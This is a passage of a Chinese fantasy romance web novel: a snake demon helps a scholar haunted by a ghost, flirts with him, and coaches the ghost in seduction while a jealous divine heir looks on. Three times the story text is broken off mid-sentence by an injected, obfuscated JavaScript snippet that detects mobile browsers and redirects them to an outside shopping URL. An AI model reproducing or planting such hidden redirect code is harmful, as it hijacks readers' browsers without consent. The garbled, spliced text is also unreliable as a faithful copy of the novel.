要不是他身上无半分灵力波动,显然只是个凡人,花清浅都要以为是死去的夫君变了个模样,复活来找她了。 来人立如玉山,从容不迫朝她拱手:“敢问可是花清浅姑娘?晚学东方容楚,年节前来打扰,实在失礼。” 还好,他一开口,就与赵刑西没那么像了。赵刑西生性恶劣,最后在她跟前也懒得隐藏,声线总显得凉薄些,这书生却是实打实的儒雅,一听就是长年累月泡在书香里,这是赵刑西怎么装也装不出来的。 “我是花清浅,你找对人了,进来吧。”花清浅请他进门,趁他道谢时不经意拍了下他的书箱,不知是不是错觉,东方顿时觉得后背轻了不少。 22. 第22章 两日前,东方容楚从蔗县抵达大泽镇,客栈都被往来行商占满,他便凭举子印信暂且宿在了当地的文庙内。 夜里万籁俱寂,他正在油灯下温书,忽然有一头发蓬乱、衣衫破损的女子踉跄进庙,说她与家人失散,又遇劫匪,求他收留她在此共宿一夜。 他看她可怜,便要让出主屋给她,自己去睡柴房。那女子却死活不肯,就是要与他共处一室。 东方容楚一向注重男女大防,自是坚持离开,那女子一把拉住他的衣角,求他别走,拉扯间他不慎低头看了一眼,却发现她根本没有踩在地上。 那女子一直是飘在半空里的。 心知碰到了邪物,他维持着表面镇定与她周旋几句,便找到机会出了文庙,眼疾手快反锁大门,将那女子关进了庙里。 大泽镇文庙地处繁华,周围街坊不少,他正要去找附近邻居求助,不料那女子在庙中一阵低笑后,竟直接穿门而过,朝他猛扑过来,嘴里反复逼问:“为什么这样嫌弃我?为什么不要我?!” 见他一直不答,她蓬乱的头发瞬间变长,遮盖住整个上半身,指甲也变得无比尖利,往他腰间狠狠划去! “晚学不才,但常习君子射御之术,也有粗浅武功在身,本想不管什么妖邪,干脆与之斗一次法又如何。”东方容楚坐在桌边,按照花清浅的要求仔细回忆道: “但就在将将挡下那女子利爪之时,晚学却恍然从文庙案前惊醒,发现已是翌日清晨。” “晚学以为那女子来访之事只是幻梦,又以学业为重,未得空细思,便继续赶路来到慕城。不想昨日夜里,那女子又潜入了晚学所在的客栈,而且这次晚学确定了,那不是梦。” 花清浅向他背后看了一眼,问道:“你怎么分清楚那不是梦的?” “因为晚学昨夜被那女子抓伤,今日起身,发现了这个。” 东方容楚道一声失礼,掀开了衣袖,只见他细瘦有力的小臂内侧赫然有一道血痕,周围还散发着隐隐黑气。 “晚学诚不知招惹了什么东西,还请清浅姑娘相助。”他从怀中掏出半钱银子,放到桌上,“这是酬金。” 花清浅轻笑着倾身,把银子推还给他:“对于公子这样的长相清秀之人,我向来是不要银子的。惜蜜没告诉你么?” 两人原本相邻而坐,花清浅这一倾身,靠得便与他过于近了些。他看着她忽然凑过来的精致眉眼,竟被那枚泪痣晃了下神,慢了半拍才忙偏过头去,身子如临大敌一般,直直僵硬在原地。 “清、清浅姑娘不必如此。”他有些紧张地道,“晚学去岁中举,这点银钱还是能出得起。” 这人真有意思,经历过半夜撞鬼、胳膊上莫名被挠出伤来,依旧那般泰然自若,养气功夫不是一般的好。然而这会她只不过是凑近了些,他居然就破功了么? 花清浅更加来了兴趣,逗他道:“哎呀,我知道举人老爷年少有钱,可我这里规矩就是如此——” “长相合我胃口的,一律不收钱,不论男子女子,都不收,乞丐王爷都不收,举人老爷也一样。你来求我帮忙,就得守我规矩,对吧。” 她刻意凑得更近,直接将银子塞回他怀里,冰凉的手指划过他手臂,他一个激灵,正要抽回手,却发现那道黑气萦绕的血痕已经结痂——原来她是为了给他治伤。 东方容楚拗不过她,只好收回银两,垂眸对上她浓长眼睫下颇含兴味的目光,又连忙看向别处,无奈开口。 “多谢姑娘为我治伤。姑娘不必叫我举人老爷,敝姓东方,唤我东方即可。” “好的,东方。”花清浅适可而止,没再逗他,正经了点说道: “你连着两晚都没睡好,现下一定神思劳顿,先去隔壁卧房歇息吧,有什么事明日再说。放心,我这屋子都带有结界,什么邪物都进不来,你可以睡上很安稳的一觉。” 东方容楚再次朝她拱手:“多谢姑娘。” 花清浅送他去卧房,顺带关好了门,却没有立刻离开,而是对着门口说了句:“专管亡魂的孔雀族就在此地,你若不老实听我的,我保证你下一刻就魂飞魄散。” “——还不速速现身?” 随着她话音落地,门口一个女子的身形逐渐显现,她黑发蓬乱,表情有些狰狞,目光却是可怜兮兮的。花清浅朝她勾了勾手指,她便乖乖在她身后回到正厅。 此时吕浮白正好煮完粥端过来,香气飘散满屋,花清浅期待地舔舔嘴唇,催动一道灵力送入玉京子房中,叫他起床吃饭。 玉京子化形不久,蛇性大于人性,天一冷就想睡觉。他打着哈欠来到正厅,乍然看到飘在天花板上的女子黑影,吓了一跳:“这是什么?” “这是鬼。”花清浅吹着气喝了口粥,满足地眯起眼:“还是一只喜欢趴在书箱上边、勾引俊俏书生的厉鬼。” 玉京子打了个哆嗦。 “怕什么,你又不是那书生。”花清浅看他一眼,“你也没人家那么俊俏。” 说起俊俏,玉京子就不服气了:“谁呀,能比我人形还俊?” “人家书生去歇息了,明日叫你见识一下,俊不俊自有分晓。”花清浅笑道。 吕浮白听着她略带炫耀的语气,心中忽然一沉,放下碗定定地看着她。花清浅没注意他,刚才两人不在,她便跟他们转述了东方容楚的事,其实也不复杂,就是典型的撞鬼而已。 “东方撞上的这只鬼,就是在咱们头顶盘旋的这位。”花清浅说道,“玉京子,你看她熟不熟悉?之前夜里穿行的那支冥婚纸人,迎的新娘子就是她。” 有孔雀王世子在此,这只厉鬼丝毫不敢作乱,老老实实坐在三人对面,主动开始交代事情起因。 她原是本地农户的女儿,叫做二丫,生前便随了爹娘老实巴交的性子,一朝暴病而亡,仍是老实巴交地在阴间做鬼。要不是叔父收了黑心钱,将她跟别人配了冥婚,她如今估计还在安安分分等着投胎。 “我那叔父真不是人,给我安排的那男的好胖,又胖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268483|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又丑,眼睛睁着跟闭着一样,而且、而且他还笨,猪都比他聪明好多!怪道他家里那么有钱,却到死都没娶成媳妇呢!” 二丫说到这里很是委屈,花清浅设身处地想了想,也觉得她该委屈。 “那堆纸人强行把我从阴间扯上来,要配冥婚,我不想与那男的成亲,也不想洞房,他却硬要绑着我洞房,我就、我就变成厉鬼,把他吃了。” 擅自吞人魂魄不对,但花清浅懒得追究这个。她转向孔雀世子,看他似乎也没什么意见,便接着问道: “先不管那男的如何,这东方书生是怎么回事?你看上他做你的夫君了?” “当然不是!”二丫大声嚷嚷着,“阳间女子才想要什么夫君,好不容易做了鬼,我谁也不想嫁!只是我们做厉鬼的,都需要点阳气来稳固魂魄,不然控制不住凶性,容易失去神智,随意杀人。” “东方容楚是童子身,他身上的阳气香得很,又这么年轻就中了举,可见是个聪明的,更别提他还长得那么俊……我喜欢这种类型的男子,就想取他的元阳。” 花清浅似笑非笑:“你这主意不错呀,怎么没成呢?” “我也不知道,这怎么就不成呢?”二丫当真有些费解地抬头,“姑娘你说,我长得也不差吧,东方容楚怎么就这么嫌弃我,是他们读书人都这样吗?还是光他一个这么正经?” 花清浅说道:“像东方这样骨子里正经的读书人,恐怕还真稀罕。” “那我就不要他了,我换一个目标。”二丫干脆道,“元阳嘛,只要是长得好看的读书人就行,我不挑的。” 她一个厉鬼,要谋取凡人元阳,居然敢这么堂而皇之地讲出来,花清浅不知道该说她老实,还是该说她嚣张,有些好笑地提醒她: “害了东方一个还不够,你还要去祸害多少人?我告诉你,东方天命不俗,日后有大造化。他今日求到我这里来,我若顺势把你灭了,看在东方的面子上,天道一定会狠狠记我一功!” 二丫着急为自己辩解:“我可没害他!就是想取他元阳而已,又不是拉他做替死鬼,再说了,他难道一辈子不成亲吗,那元阳还不是迟早要没的,给了我他能有什么损失!” “那他胳膊上那道伤呢?”花清浅语气一凛,“那道血痕周围缠着森森鬼气,若不压制,他十日之内必死无疑——可别说这不是你干的!” 她显然动了怒,棕色的水眸微微眯起,显得有些狭长,没有起身,气场却足够强势,让对面的二丫下意识瑟缩起脑袋。 吕浮白不动声色地抬眼看向她。 这副驾轻就熟的审讯神态,他在以前的花清浅身上从未见过。他再次真切意识到,这五十年她成长了许多,已经可以独当一面、拿捏人心了。 这些年他不在她身边,不知道她具体经历了什么,能有如此成长。他心里有些微的酸楚,但更多的是骄傲。 她是如此优秀的一条小花蛇,他就知道,他没有看走眼。 他一直都知道。 23. 第23章 屋内安静得连窗外开始飘雪的声音都清晰可闻,过了良久,二丫才敢嗫嚅着开口: “我只想取他元阳而已,他一直不从,我心里着急,想硬上,谁知道他还会武功,拿着根树枝把我半块子小拇指都削掉了,我痛得发狂,没控制住脑子里那股戾气,就、就伤了他……” 厉鬼容易情绪不稳,这倒是真的,花清浅看到她当真缺了一节的小拇指,姑且信她没有说谎。 她指尖轻敲了敲桌面,道:“东方不从你,你就想强上?你这样跟你叔父、跟被你吞了的蠢肥未婚夫有什么区别?” 二丫被她训得脑袋塌下去,连尖利的指甲都缩回肉里。花清浅挥手在她面前设了个结界,转头问起身边的吕浮白。 “世子,你看此厉鬼要如何处置?” “依你之见,该当如何?” 花清浅愣了一下。往常碰上这种事,她会罚去二丫一半的阴气,再给她下一道禁制,确保她不会祸害无辜之人,此事就到此为止了。看在这二丫也够倒霉的份上,她说不定还要帮上一帮。 但如今他孔雀世子在此,以他那眼里揉不得沙子的做派,二丫又确实犯了错,那还不是即刻挫骨扬灰的下场,又何必问她的意见? “厉鬼没法正常投胎,如果不稳固魂魄,真的会逐渐失去理智,索命无辜之人。所以我觉得,二丫想要阳气……不算大错。”她观察着他的脸色,斟酌词句道: “罚固然要罚,但我也不会罚太狠,更不会立刻叫她灰飞烟灭。” 吕浮白深深望进她眼底,说道:“那便依你所言。” 大明王世子之前对两只山雀赶尽杀绝,现在却这么好说话,花清浅觉得,大概是他也很同情二丫遭遇的缘故。 她谢过世子,抬指撤去结界,对二丫说道:“你险些伤到东方性命,现下我罚你一半阴气,你可有异议?” 二丫使劲摇摇脑袋。 天色已晚,花清浅让玉京子和吕浮白先去歇息,玉京子早就困意连天,立刻冲向床榻,吕浮白却动也不动,仿佛看不出来她想要支开他的意图。 他不肯离开,她也不好硬赶,便大大方方在他面前催动灵力,一面抽去厉鬼的阴气,一面问她: “你今后打算如何?是继续窝在文庙里对往来书生守株待兔,勾引不成就霸王硬上弓?” 二丫又使劲摇摇脑袋。 “那你怎么办,就这样飘荡在阳间,等着魂魄彻底消散咯?” 二丫小声应道:“那、那好像也只有这么办了。” 花清浅对着她左看右看,二丫长得虽不倾国倾城,却自有种坚韧质朴的清秀,还算合她的眼缘。 她之前对东方容楚说的话不是胡扯,对于顺眼的人,她真的不忍心放任他们自生自灭。 “罢了。”她叹了一口气道,“我给你安排一条活路,你且听听,要不要活全在你自己。” 二丫猛地叫道:“真的?你肯帮我?!” “小声点,玉京子睡觉呢,别吵着他。” 二丫听话地收声,一言不发跳到地上朝她磕头,被她立刻用灵力搀扶起来。 “你别激动,先听我说。待会我给你一封信,你拿着去找本城知府,如果你厉鬼的能耐对他有用,就能留在天法司内。天法司有一佛子,你在他身边,可以去除戾气,保持神智,这是其一。” 二丫捂着嘴惊呼:“这还只是其一?!” “天法司只能压制住你厉鬼的戾气,却不能给你元阳。”花清浅说道: “按你原本的打算,从你喜欢的读书人身上取这元阳,倒也可以,只是不许强迫人家。我在你身上下了道禁制,若你再有伤人之心,便会立刻被打到地府油锅里,受尽折磨后灰飞烟灭,听懂了吗?” “听懂了!我以后碰上了喜欢的,只能先行勾引,他要是上钩就不说了,要是他不上钩,我便放弃,速速去找下一个。” 花清浅赞许地点点头:“这就好了。其实世间情事,本来也该如此——该同你在一起的,自然会主动跳进你的陷阱里,啊不是,跳进你的温柔乡里;不该在一起的,便是强求,也终会误人误己。仔细想想,又有什么意思?” 吕浮白坐在她身边,听出她话中有话,便知道她是对那段与凤凰神君的岁月感到不齿。 可她不是强求,神君对她的心意不比她浅,从很早很早以前就开始了,她说过她知道的。 他以为她知道的。 他想说些什么,却终究无话可说。 有些话没有在对的时间说出口,余下每一刻都是错误的时机,他心知肚明,如今他什么都不配说。 看清楚她唇边那一抹淡淡的、释然的笑意,他眸光闪了闪,沉沉地闭上眼。 - 二丫在拿到信后没有立刻离开,而是紧紧抓住花清浅的手,不好意思道:“姑娘可否最后再帮我一个忙?” 她勾搭东方的这一套流程是跟文庙边一位狐狸学的,那狐狸每回只要楚楚可怜地进庙,编个自圆其说的借口,便总能与庙里借宿的书生同床共枕。 二丫自认把狐狸那一套学了个十成十,她想不明白,为何那狐狸屡试不爽,换成她却第一次就失败,把人家逼到找天法司求救。 “姑娘,你比那狐狸漂亮多了,也、也勾人多了,不如你来教教我吧?” 提起这茬,花清浅还真有许多不吐不快的地方。 “你这都学的什么招数,能取到元阳才怪——” “第一个,你对象就找错了。像东方这样的真君子,明显不会发生露水情缘,你就不要在他身上浪费时间,趁早改换目标,找一些守不住身心的比较妥当。” 听到此处,吕浮白睁开眼睛看向她,她却正在兴头上,对他的目光浑然不觉,继续侃侃而谈道: “第二个,你稍微注意些外形行不行?你要编造一个被劫匪抢劫的借口,那就把衣服扯烂点,但头发有必要那么乱吗?现在男子哪有不好颜色的,就你说的那只狐狸,人家每次也是楚楚可怜地进庙,不是狼狈不堪地进庙吧?” “还有,我知道你心性直,但你不要一上来就急吼吼地扯人家共宿嘛,这不是明摆着有诈么?” “既然你喜欢俊朗的,又喜欢有学识的,就要琢磨透他们的喜好,对症下药,不然你再过一百年也骗不来一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281820|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的男子。” 二丫听得一张鬼脸都皱了起来:“好麻烦啊!我记不下这么多,要不姑娘什么时候有空,给我示范一——” 她的话还没说完,就被旁边吕浮白骤然凌厉起来的视线吓得闭上了嘴。 吕浮白从头到尾坐在一边,很少发话,神情平淡得近乎漠然,似乎根本没将她这个厉鬼放在眼里,再加上一直是花清浅在说话,二丫都要忘了眼前这个人是孔雀世子,一挥手就能让所有鬼魂万劫不复的存在。 世子的压迫感实在太强,她瑟缩地低下头,不敢再出声,甚至不敢问一句他为何忽然针对她。 花清浅对吕浮白近乎阴鸷的眼神一无所觉,她被二丫这句话打开了思路,愉快拍手道: “是了,我可以亲身上阵教你看看!正好这里有个现成的范本,明日我在东方面前打个样,你就在一边隐去身形,记得多看、多听、多学。” 吕浮白想也不想地道:“不可!” “有何不可?”花清浅疑惑地转过头看他。 他看着她跃跃欲试的样子,艰难开口:“这种事情,也是能随便亲身上阵的么?清浅,哪怕你已经不喜欢神君——” “什么叫哪怕,我早就不喜欢他了!” 虽然对此早就心知肚明,可如今她大声说出来,依旧犹如一连串惊雷,引起一阵粗钝而厚重的疼。 一时间,他耳边满是尖锐的嗡鸣,神体明明毫发无损,可他就是听不清她在说什么,只看到她朱唇开阖,过了好久才渐渐恢复听力。 “……世子,你别露出这种表情呀,好像你自己媳妇跑了似的。其实你真的不用这么难过,我都说过好多次啦,你们神君不喜欢我,你不必替他要求我守贞。” 吕浮白迅速收起失态的神色,眸中似掠过一丝难堪:“我不会要求你守贞。可你如今是要做什么?为了教一个厉鬼还阳,你就要与一介陌生人逢场作戏么?”情之一字何等珍重,岂能如此轻佻待之? “我知道世子眼里容不得沙,咳咳,但世子恐怕想错了。我明日的确打算做戏,可谁说做戏就不能有真情呢?”花清浅说着,似乎回忆起与东方容楚初见的那一面,唇角浮起一个轻快明丽的笑容。 吕浮白只觉呼吸都困难起来:“真情?你与那书生,你们今日分明是第一次见面——” “那又怎样,我当初也是第一次见面就对你们神君有好感的呀。说不定明日见了第二面,再深入了解了解,我就真喜欢上东方了呢?” 看得出来,她不是在说笑,是真心对那个东方生了兴趣。 吕浮白仓皇撇开眼。 他再没有得体的阻挠理由,再找不出什么借口。他找到她时已经太晚,来不及让她回心转意,来不及解开误会,一切都来不及了—— 天命所限,花清浅的姻缘不是他,除他之外,任何一个人都可能是她的正缘,这个名不见经传的书生当然也可能是。 他可以轻易赶走觊觎她的海鸥和山雀,可是她若遇到正缘,就不是那么好拆散的了。 嫉妒、悔恨与恐慌震悚在同一时间袭上心头,他心神大乱,止不住的杀意在眼中一闪而过。 24. 第24章 从上古活到今日,吕浮白手上杀过的真神、仙尊、邪魔不在少数,其中当然也有凡人。 若论无情凛冽,整个雷部与他相比都是小巫见大巫。然而他从不迷失于此,对他而言,杀戮只是天道审判自然的一环,他替天行道,即便满手鲜血,也自能心如止水,平和不动。 因私心而起的杀意,他几乎很少有过,一次是在神识探遍人间、却在人海中弄丢花清浅之时,一次是得知她有过夫君,还有一次,就是现在。 那书生并没有错,他命里有大造化,对凡间或有大用,然而仅仅因为他有可能是花清浅的正缘,他便已经对他生出了杀心。 可这不对,没有犯错的人,他不该杀。 他心中恐慌无以复加,但却无计可施,只能像被网住翅膀的鸟雀一样僵硬地垂眸,用最低级的手段掩去无措。 另一边,二丫听懂了花清浅的意思,憨憨地笑起来:“原来姑娘你对那书生早有企图了?哈哈,我这算不算为你俩牵了线,等到你们好事将近,可千万要给我烧一壶喜酒!” “什么早有企图,你别瞎说啊,小心我改主意不教你了。” “别呀姑娘——” “不过嘛,如果真能有喜酒,我当然会烧你一壶。” 今夜闹得有些晚,花清浅在冬日也容易倦乏,跟吕浮白说了一声,拎着厉鬼一起回屋睡觉。 吕浮白看着她纤细窈窕的身影走过窗外,几点雪花飞舞在她周身,忽然觉得不如做一片雪,即使须臾融化,好歹能与她挨近那么一刻。 - 清早的小院厚雪堆积,玉京子出去买早点,花清浅被他出院门的声音惊动,伸了个懒腰打开房门,发现东方容楚就在旁边檐下,长身玉立,一手负在背后,一手拿着书低头研读,不由叫道:“东方!外面多冷,你怎么不在屋里读书?” “冰寒霜雪,倒能使人神思清明些。”东方容楚朝她微微点头致意,随口吟了一句:“况且正所谓‘江山不夜月千里,天地无私玉万家’,姑娘此院中雪景也足以教人远离火炉了。” 花清浅笑道:“常言书生身子弱,我还以为你会跟我一样畏寒,没想到你这么不怕冷。” 她穿了一身山羊绒的纯白裙袍,衣角绣着素雅的牡丹暗纹,小巧的下巴陷在毛茸茸的领子里,眉眼精致,水眸含雾,一颦一笑都似风情万种,叫人移不开目光。 身穿这样厚的衣裙,她腰肢却依然细得盈盈一握,长发挽成一束,在身后倾泻而下,几乎能够与腰平宽。 东方容楚只朝她看了一眼,很快便收回视线,将手中的书举高了些。花清浅不想打扰他用功,转过身向正厅走去,他却拿着书跟了过来,主动说道:“昨日我一觉到天明,果然没有邪物前来打扰,多谢姑娘。” “不用谢。”花清浅对他嫣然一笑,“你之前只是撞鬼了,寻常厉鬼,比乱七八糟的邪魔好对付许多。我已将鬼驱走,之后她不会再纠缠你,放心。” 飘在旁边的二丫做了个鬼脸。 东方容楚神色一松:“多谢——” “都说了不用谢,你怎么总这么客气?”花清浅伸出手指,本来要直接压住他的唇,想想还是别这么心急的好,便改主意戳在他胸前的书上。 没想到那书封皮硬得要命,戳得指甲发疼,她抽着气甩了甩手,东方容楚以为她伤到了,忙捧住她的手指,问道:“姑娘没事吧?” “没,我才没那么娇气。”花清浅嘴上否认,却并没有挣脱开他的手,她纤细的指尖泛红,在他布满薄茧的掌心显得分外娇嫩,他被她趁机故意贴了一下手心,一张温润如玉的俊脸立刻烧得发烫,连忙放开了她。 此时玉京子买好早点回来,两人一前一后进了饭厅,趁着东方容楚低头没看她,花清浅对漂浮着的二丫做了个“一”的手势:她昨晚讲了许多与人交好的要点,这是要二丫回忆起第一点。 「第一:亲近动作要有,但不可以过于直白,伪装成偶然、意外则最佳,只要对方看不出来你故意,就可以反复使用。」 结合实例,二丫牢牢地记住了这句箴言。 她跟随着东方容楚与花清浅进入饭厅,为了避开桌椅飘到窗户上方,扭头瞥见了窗外的孔雀世子。 吕浮白正往饭厅里走,路过窗户时往里淡淡扫了一眼,正巧看到花清浅与那书生贴近又分开、相对脸红的画面。 小花蛇平日里精明点子层出不穷,可牵扯到情之一字,她所谓的手段也无非就那么几种。最擅用的一样,就是自以为高明地贴近距离,趁机占点小便宜。 在长生界时,她就总要盘在他的怀里,他若推拒,她便借口说修炼修得脑袋疼、肚子疼,哪哪都疼,要枕在凤凰膝上才会好。 傅玄手把手教她练习棍术,她会暗暗朝他的方向倾斜,还会在变换身法时不着痕迹地碰一碰他的手,有一次甚至直接软着腰摔倒在他后背,朱唇“纯属意外”、恰到好处擦过他的侧颈。 那次事后她还理直气壮,振振有词道: “我们蛇族本来就不擅长体术,神君不知道吗?哎呀,我真是笨手笨脚的,唐突神君了。要是觉得吃亏,神君不如也摔在我身上,讨回这一遭?我反正是不介意的,嘿嘿。” 在失去她的五十年里,他曾无数遍反刍过这些记忆,小小的水月镜中,她一个恃宠而娇的笑靥也能温暖整个山巢。 那时他决计想不到,有朝一日这些记忆也会变得寒意刺骨。她不再对他笑,不再挖空心思接近他,那些无伤大雅的小手段全都用在了另一个人的身上。 这些年来,她在求偶上没有一点长进,还是那么傻乎乎地想着占便宜,丝毫不知她能占到别人的便宜,是因为别人对她也早有心思—— 如刀绞般的剧痛持续太久,一颗心才会知道,什么叫做千疮百孔。 吕浮白收回视线,神色不动,平静跨过门槛,走到花清浅旁边。看似一切正常,二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13296525|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丫却莫名觉得他身上传来一股比她还要可怕千倍的戾气,连忙离他远了点。 花清浅将玉京子、吕浮白介绍给东方容楚,用的还是弟弟与神医的身份,东方容楚一一见过礼,四人这才开饭。 玉京子买回来的有鱼片粥、云吞面、一笼包子和几样小菜,花清浅昨夜刚吃了吕浮白做的海鲜杂烩粥,料想鱼片粥不会有他做的好吃,便给自己盛了半碗云吞面,同时还不忘招呼东方容楚。 “东方,尝尝这道凉拌地禾角,这是慕城特产,又脆又甜,特别好吃。我给你夹两块吧?” “不,不用。晚学自己来就是。”刚才被她几次调戏,东方容楚一张俊脸上的热度现在都没降下来,他往碗里盛进几枚地禾角,仍是耳尖发红。 花清浅拿余光瞟着他,觉得他的反应实在有趣,一面问他吃不吃辣、要不要糖,一面随意吃了口云吞,发现这碗云吞面调料淡了些,想去拿醋,还没起身,旁边的吕浮白就将一只醋碟推到她面前。 她愣了一下,注意力不由从东方容楚身上短暂离开,说道:“谢谢。” “不用说谢。” 花清浅高高兴兴拿了醋碟,又继续与东方容楚攀谈。吕浮白在她身后轻轻眨了眨眼,眸底万般不甘与哀求,如果她转身一定会发现不对,这不是世子该有的眼神。 但没关系,因为她如今根本就不转身—— 她对他没有一点点兴趣,她满心想的都是如何逗弄东方容楚。就像是多年以前,她对别人也没有一点点兴趣,满心满眼装的都是凤凰神君。 - 那年听闻云廷玉城春华绝美,花清浅便拉着傅玄一起去看,同行的有小龙王岐深与神霄玉清,半路上还遇见一只受伤的渡鸦。 那只渡鸦还没化形,花清浅瞧着它也算只鸟,便顺手救了,那渡鸦伤好后不肯离去,一直跟着他们飞到了云廷玉城。 所有人都不知道,傅玄其实一直有些嫌弃渡鸦族叫声吵闹,但见花清浅与这只渡鸦缘分不浅,他就也没说什么。中途他和神霄玉清临时有事,去了趟八十一重天,回来时渡鸦却不见了,只见花清浅冲他得意地扬起唇角,一副等待他夸奖的表情: “我叫渡鸦去别处玩啦,神君耳根子清净了吧?” 她明明那么在意他,时刻关注他,连他对聒噪渡鸦似有若无的嫌弃都能很快察觉,被岐深调侃是傅玄肚子里的蛔虫,她也半点不反对,满是骄傲地说道:“我与神君心有灵犀!” 既然心有灵犀,现在他痛得快要死了,她怎么却全然不知。 吕浮白眸光闪动,逐渐变做一片全然的凄迷绝望,他被她爱习惯了,即使知道她不再爱他,接受了她有过夫君的事实,也从没有想过,她会在他面前对他无动于衷,转头就爱上另一个人。 以至于当这天到来的时候,他没有任何准备,没有任何后招,一只从不设防的猎物,被捕兽夹夹住的那一刻,除了等死,他没有其他任何办法。 25. 第25章 会试在即,东方容楚原本要在饭后启程,但花清浅以大雪封路为由,坚持要他在小院多住几日。 “姑娘盛情难却,可晚学当真该前往京师了,路程耽搁不得——” “下了这么大的雪,官道山道都滑得要命,你怎么走?”花清浅睁大一双暖棕色的眸子,“现在雪还没停,道上精怪也多,万一又撞邪了怎么办?你不如安心在我院中用功,等过两天放晴,我亲自护送你上京。” 东方容楚怎好意思麻烦她,连连推却,花清浅对他的推辞理也不理,自顾自说道:“我们走近道,放心,不会耽搁路程的。” 眼见外头又开始落雪,确实走不成,东方容楚也只好无奈同意了她的提议。花清浅掩饰不住喜色,回房准备收拾东西,吕浮白跟在她身后,低声问道:“你真要护送那书生上京?” “是啊。蛇妖一言,驷马难追嘛,我从不食言的。” 她似乎已经忘了,某条没心没肺的小花蛇曾在西谷大声嚷嚷,说此生最喜欢神君傅玄,不会喜欢上第二个人。吕浮白扯了扯嘴角,“你说错了。” 她食言的次数可不止这一回,那些表白与保证似乎只在他心里清晰如昨,回忆起来无异于一场漫长的凌迟。 “你说什么?”花清浅没听懂,“我哪里说错了?” 现在提起神君只会让她感到害怕与烦躁,吕浮白轻咳一声,看着她纯澈的水眸:“没什么。我是想问,你护送东方上京,玉京子怎么办。” “我们一起去呀!”花清浅想也不想地道,“我跟玉京子才不会分开,这回正好一起去京师玩一遭。戏文里都说大焱京师人物风流,我倒要看看,到底是怎么个风流法。” 说到戏文话本,她不由想起了话本里描绘京师发生的诸多故事,才子佳人、帝王将相,想得出神,末了才发觉吕浮白仍在近前,下意识往后退了一步,说道: “世子你也跟着来吧?大明王不是要你多领略人间烟火吗,大焱京师可是凡间最繁华的富贵乡,你好不容易来凡间一趟,不去京师太可惜了。” 她读了那么多话本,东方容楚正是那些话本里最爱描述的温润才子,在京师会发生什么,吕浮白心知肚明。他若跟着去,只有黯然神伤、心力交瘁这一个结果。 “你想让我去么?”他立在她房门口,温声问道。 “当然想啊!玉京子的魂魄还得你看顾呢,你若跟着去,所有花销包在我身上。” “那我便去。”他垂下头,眼底一点眸光摇摇欲坠,却又莫名执着,只要她开心顺意,他怎么都行: “就算你不说,我也是要去的。” 分别了五十年,他现在根本没办法离开她,就算她身边荆棘丛生,扎穿他的心腹,他也只能继续挣扎着走下去。 - 虽然有心给二丫做求偶示范,花清浅平时也念着分寸,不去打扰东方容楚温习。只有在他放下书本、心有余裕的时候,她才会含笑上前逗弄他两下,而东方着实用功,这种时候往往只发生在席间。 午膳时分,花清浅手上拿着一本诗集进了饭厅,余光瞥见东方容楚果然朝她手里的书看来,自觉大计已成功一半,心中十分得意,捧着诗集摇头晃脑地读道: “雪照山城玉指寒,一声羊管怨楼间——” 她一边读,一边施施然坐到东方容楚旁边,他却像是忍俊不禁地微微挑眉,问道:“敢问姑娘读的这是?” “是刘著的诗。”她把手中的书展开给他看,同时另一只手在背后给二丫伸出两根手指,做了一个“二”的手势。 「第二:对付书生要投其所好,多读一些诗词歌赋,才好同他讨论风花雪月。」 漂浮在她身后的二丫肃然起敬。 早饭之前,东方容楚在檐下随口吟了一句写雪的诗,可见他不仅深耕四书五经,诗词文采也不错。花清浅便有意想展示一下自己的学识也很渊博,滔滔不绝道: “东方你看我会读书识字,很惊讶吧?你有所不知啊,其实我从小不仅长得漂亮,还特别上进,一心求学,咳咳,这么多年读过的诗不说和你一样多,好歹也有你的一半啦······” 什么“从小长得漂亮”,别人说来做作,但她确实漂亮,说出来就成了自知之明。东方容楚原本坦然与她对视,随着她不点而朱、精致无暇的菱唇张合不停,他竟心神一荡,赶紧移开了目光。 花清浅自夸得差不多了,才意犹未尽收住话头,注意到他欲言又止的样子,问道:“你想说什么来着?” “······没什么,只是姑娘所念的词,应该出自刘著的《鹧鸪天》。”东方容楚声线温和,但说出来的内容却让花清浅恨不得一头撞死: “倘若晚学没有记错,那句应该是‘一声羌管怨楼间’。” 是羌管,不是羊管! “那个字原来不念‘羊’啊?”她顿时尴尬无比,捂住额角,缓缓转过脸去,“我的启蒙先生太没有文化了吧,居然教我那个字念羊,改日碰见我一定要纠正他——不说了,吃菜,吃菜,呵呵。” 她若无其事往碗里盛饭,舀汤,将一片菜叶从碗右边挪到左边,又挪到右边,一顿手忙脚乱,仔细看却不知道在忙什么。玉京子这孽障似乎还嫌她不够丢人似的,哈哈大笑起来,还追着她问道: 